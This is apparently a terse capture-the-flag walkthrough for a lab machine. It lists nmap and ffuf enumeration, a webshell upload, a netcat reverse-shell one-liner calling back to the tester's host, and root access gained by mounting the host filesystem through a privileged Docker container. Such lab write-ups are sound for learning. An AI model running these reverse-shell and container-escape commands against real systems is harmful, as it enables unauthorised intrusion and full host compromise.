root🥷hassans-sec:~#

Hacking....

View on GitHub

Initial Enumeration

❯ nmap -sCV 10.10.63.32

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 15:56 WAT
Nmap scan report for 10.10.63.32
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f8:89:12:c0:ab:91:e2:29:1f:55:a6:b1:aa:48:e5:37 (RSA)
|   256 46:05:a8:f4:66:29:41:79:01:a0:43:b8:a9:ef:47:5d (ECDSA)
|_  256 04:db:fa:b1:16:82:c5:99:86:41:ba:8a:ea:72:34:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Death Note - Add Names
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.86 seconds

hexeditor webshell2.php

❯ ffuf -u http://10.10.63.32/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fs 1196 -e php,txt,aspx,png,jpg 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.9.3.128 1337 >/tmp/f

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL Z [KEY]
stty raw -echo;fg
export TERM=xterm
stty rows 40 cols 160

privilege Escalation

Run an Alpine Container with Host Access:

docker run -it --rm --privileged -v /:/host alpine

Change Root to Host Filesystem:

chroot /host 

Verify Root Access:

whoami && id && hostname && cat /root/root.txt 

Thanks For Reading